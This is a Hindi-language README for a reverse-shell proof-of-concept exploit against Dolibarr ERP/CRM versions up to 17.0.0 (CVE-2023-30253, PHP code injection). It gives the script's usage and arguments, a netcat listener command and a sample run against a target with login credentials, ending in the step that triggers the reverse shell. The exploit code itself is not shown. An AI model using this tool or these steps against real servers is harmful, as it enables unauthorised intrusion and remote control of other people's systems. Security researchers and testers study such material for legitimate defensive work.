
Dolibarr <= 17.0.0 (CVE-2023-30253) के लिए रिवर्स शेल POC एक्सप्लॉइट, PHP कोड इंजेक्शन
Dolibarr <= 17.0.0 (CVE-2023-30253) के लिए रिवर्स शेल POC एक्सप्लॉइट, PHP कोड इंजेक्शन
कमजोरी के बारे में अधिक जानकारी यहाँ देखें
एक्सप्लॉइट की सहायता:
➜ python3 exploit.py -h
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001
---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---
positional arguments:
hostname Target hostname
username Username of Dolibarr ERP/CRM
password Password of Dolibarr ERP/CRM
lhost Listening host for reverse shell
lport Listening port for reverse shell
options:
-h, --help show this help message and exit
अपने होस्ट पर netcat चलाएँ:
➜ nc -lvnp 9001
एक्सप्लॉइट चलाएँ (उदाहरण):
➜ python3 exploit.py http://example.com login passsword 127.0.0.1 9001
[*] Trying authentication...
[**] Login: login
[**] Password: password
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection